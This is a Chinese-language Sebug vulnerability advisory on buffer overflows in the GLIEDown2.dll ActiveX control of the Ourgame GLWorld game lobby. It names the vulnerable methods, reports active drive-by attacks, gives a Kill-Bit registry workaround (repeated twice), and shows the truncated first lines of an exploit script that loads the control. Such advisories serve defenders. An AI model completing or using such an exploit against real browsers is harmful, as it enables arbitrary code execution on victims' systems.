BUGTRAQ ID: 29118,29446
联众世界是在中国非常流行的在线游戏网站。
联众世界的游戏大厅主程序GLWorld所安装的GLIEDown2.dll ActiveX控件（CLSID：F917534D-535B-416B-8E8F-0C04756C31A8）没有正确地处理对IEStart()、IEStartNative()方式以及ServerList、GameInfo和GruopName属性的输入参数。如果用户受骗访问了恶意网页并向这些方式传送了特制参数的话，就可能触发堆溢出或栈溢出，导致在用户系统上执行任意指令。
利用此漏洞进行挂马的0day攻击已经出现。
联众世界GLIEDown2.dll Active控件多个缓冲区溢出漏洞
Published:2008-05-07
Vulnerable:
GlobalLink 2.8.1.2 beta
Discription:
<*References
知道安全 （http://www.scanw.com/blog）*>
http://www.scanw.com/blog/archives/175
http://secunia.com/advisories/30469/
SEBUG Solution:
临时解决方法：
* 为有漏洞的控件设置Kill-Bit：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F917534D-535B-416B-8E8F-0C04756C31A8}]
“Compatibility Flags”=dword:00000400
厂商补丁：
GlobalLink
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.ourgame.com/
* 为有漏洞的控件设置Kill-Bit：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{F917534D-535B-416B-8E8F-0C04756C31A8}]
“Compatibility Flags”=dword:00000400
厂商补丁：
GlobalLink
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.ourgame.com/
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
CLSID: F917534D-535B-416B-8E8F-0C04756C31A8
<script>
document.writeln("<html>");
document.writeln("<object classid=\"clsid:F917534D-535B-416B-8E8F-0C04756C31A8\&quo
// Sebug.net [ 2008-06-04 ]